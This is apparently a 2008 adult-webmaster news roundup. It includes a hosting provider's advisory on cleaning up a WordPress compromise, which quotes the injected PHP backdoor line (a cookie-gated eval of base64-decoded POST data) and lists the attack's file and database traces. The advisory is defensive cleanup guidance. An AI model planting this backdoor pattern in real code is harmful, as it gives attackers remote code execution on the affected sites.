WebmasterScore – Review Site Tracker Launches!

  • April 29, 2008

As reported on XBIZ earlier today, the WebmasterScore Review Site Tracker is LIVE! It’s simple to use, it will save you a lot of time… and thanks to our sponsors it’s 100% FREE!
In January WebmasterScore.com launched the adult industry’s first and only Review Site Submitter, allowing paysite owners to submit their sites for review on 35+ review sites from one simple to use webmaster resource tool. During the last four months the response from paysite owners has been amazing!
So far 140 Sponsor Programs have used the service, sending more than 450 adult paysites through it for review on 35+ review sites. With so many programs now using the Review Site Submitter to send such a large number of paysite review requests to so many high-quality Review Sites, keeping tracking of all the activity has quickly become an important task for site owners.
WebmasterScore is proud to announce the addition of the Review Site Tracker system as another free resource tool. The Review Site Tracker allows site owners to see a complete list of their own paysites along with the date they submitted their site to each review site, the date each review site published a review of their site and the score the review site gave them.
Instead of searching dozens of review sites to find your own sites and seeing which reviews might be in need of an update, all of that information is now compiled for you in a simple to use interface… and thanks to industry leading sponsors like: Hustler Cash, PlugInFeeds, Fame Dollars, PIMPROLL, Reality Cash, Bad Puppy, High Def Riches, Engine Food, VideoZ, Royal Vault, Adult Design and Essog Video Encoding… its FREE!
If you are interested in getting your paysites reviewed, tracking reviews of your sites or finding quality programs to send traffic by using the WebmasterScore Sponsor Search system, please contact me on ICQ# 266942896 and I’ll show you how the site can be used to help you earn more money in less time.
Read more at: justblowme.com

Should a paysite place a recip before submitting its program to a LL?

  • April 29, 2008

Should I place a recip on my paysite when submitting my program to LL sites? It’s not that I don’t want to, but after having checked on other paysites, it looks like those paysites don’t have recips on their main index page. AND usually the Link List will send traffic to the tour pages.

Of course, I have a links page where I have recips to reviews of my site… I could put those recips there. But its no warning page! What am I missing here?
Read more at: greenguyandjim.com

WordPress Exploits

  • April 29, 2008

They must be on the rise as I just recieved this e-mail from my new host Quote: Over the last couple of weeks there has been a widespread WordPress exploit that seems to have infected all versions of WordPress except for the most recent release (2.5.1) and
has started to hit accounts hosted on our servers.
You can read more about the exploit here:
http://wordpress.org/support/topic/168964?replies=30
It has been noted that one exploited install on a server may affect all installs on the same server.
Besides upgrading your install to the most recent release, there are a few other things to look for and the steps required to clean-up the exploit.
Before doing anything please BACKUP your database(s). This can be done in your control panel under the "Database Management" link. The database backup will be placed in the
/BACKUPS directory and accessible via FTP.

1) New files named wp-info.txt which contain database usernames and passwords.
This file will contain user info dumped from your database (emails, usernames, passwords, etc.)
If you do find this file, remove it AND change all of your passwords including your visitors’ passwords.
On the few WordPress installs that we have investigated we have not come across this file yet, so this file may or may not exist on an infected install.

2) New files ending in _new, _old, .pngg, .jpgg, .giff appearing inside writable directories.
These files will have the same name as an existing file but will have one of the following extensions:
_new.php
_old.php
.php.pngg
.php.jpgg
.php.giff
These files are executable when called from a browser and will display a fake 404 error, but will display server system info when called from a script with the matching hash from
one of the hacked php scripts.
Delete these files if found.

3) Extra code added to the first line of PHP files.
This code is added to the first line of php files and provides access to the backdoor account.
The letters and numbers in the code may vary from the following, but it will have the same format:
?php if(md5($_COOKIE['_wp_debugger'])=="dfa1bcf40aa72fdb46ed40f7651fe76e"){ eval(base64_decode($_POST['file'])); exit; } ?
This code will need to be removed from each file.
On the few WordPress installs that we have investigated, this line has only been seen in files with the extensions from step 2.

4) New "WordPress" user in database (hidden in the admin panel user’s page).
This user will have no info saved for password and an add date of all zeroes.
You will need to delete this user. You can do this via phpMyAdmin. There is a link to phpMyAdmin in your control panel Database Management page.
Browse the wp_users table and remove the "WordPress" user.

5) WordPress version changed to 2.5
Although you are running an older version of WordPress, your admin panel may say that you are running version 2.5
Entries in your wp_options table > active_plugins record may have entries similar to the following:
i:3;s:54:"../../wp-content/themes/xxxx/404_old.gif";
i:4;s:117:"../../../../../../../../../../../../../../../../../../../../../../tmp/tmpnyQVsn/sess_1695814591293aea19710bfb3dcfc0b9";
Remove these entries by editing the record with phpMyAdmin.
Browse the wp_options table and edit the active_plugins record.

6) Upgrade your WordPress to the most recent version.
Upgrade immediately.
You can download version 2.5.1 here: http://wordpress.org/latest.zip
Instructions for upgrading your install can be found here: http://codex.wordpress.org/Upgrading_WordPress
Although WordPress suggests/requires some directories to be 777 to function, do NOT set them to 777.
Specifically the /wp-uploads, /wp-themes, and /wp-plugins directories are set to 777 so that you can edit them in the administration panel, but this is an open door for a hacker.
755 is the maximum permissions that should be set on any directory.

If you believe your WordPress install has been exploited, open a ticket (support@atcihosting.com) and we can run a search and removal of the files listed in steps 1 and 2.
You will need to complete the rest of the steps in order to clean your install.

Please contact us with any questions. So on top of trying to get something going on XXX Blog and Porn Blog Surfer…and having lost the database to LO…I now get to upgrade all of my WP installs, change out plug-ins, and modify templates for the new WP.
Sometimes the gods just like to fuck with you!
Read more at: greenguyandjim.com

Newbies, make cash with free blogs!

  • April 29, 2008

Here’s a little guidance for making free blogs and earning some cash:
First of all sign up at Funlogger.com and create your free blog(s), it’s dead easy, your blog will be up and running in about 5 minutes.
Sign up with a few sponsors who can provide you with embedded flash videos, these are easy to use and surfers like to watch them…
For example OC Cash and Perfect Gonzo have lot’s of ‘em.
Throw a flash vid up every now and then and you will get a blog looking something like this Boobs and that’s pretty good for a start! You can ofcourse also write your own text with it.
Do linktrades, submit your blog(s) to toplists and directory’s and sooner or later you will cash in, all free!
Read more at: netpond.com

Warning Page

  • April 29, 2008

Non of the tgp sites have any warning page, you do directly to website, is it legal. Dont you think tgp sites should have warning page just like pay sites. Please coment, thank you
Read more at: netpond.com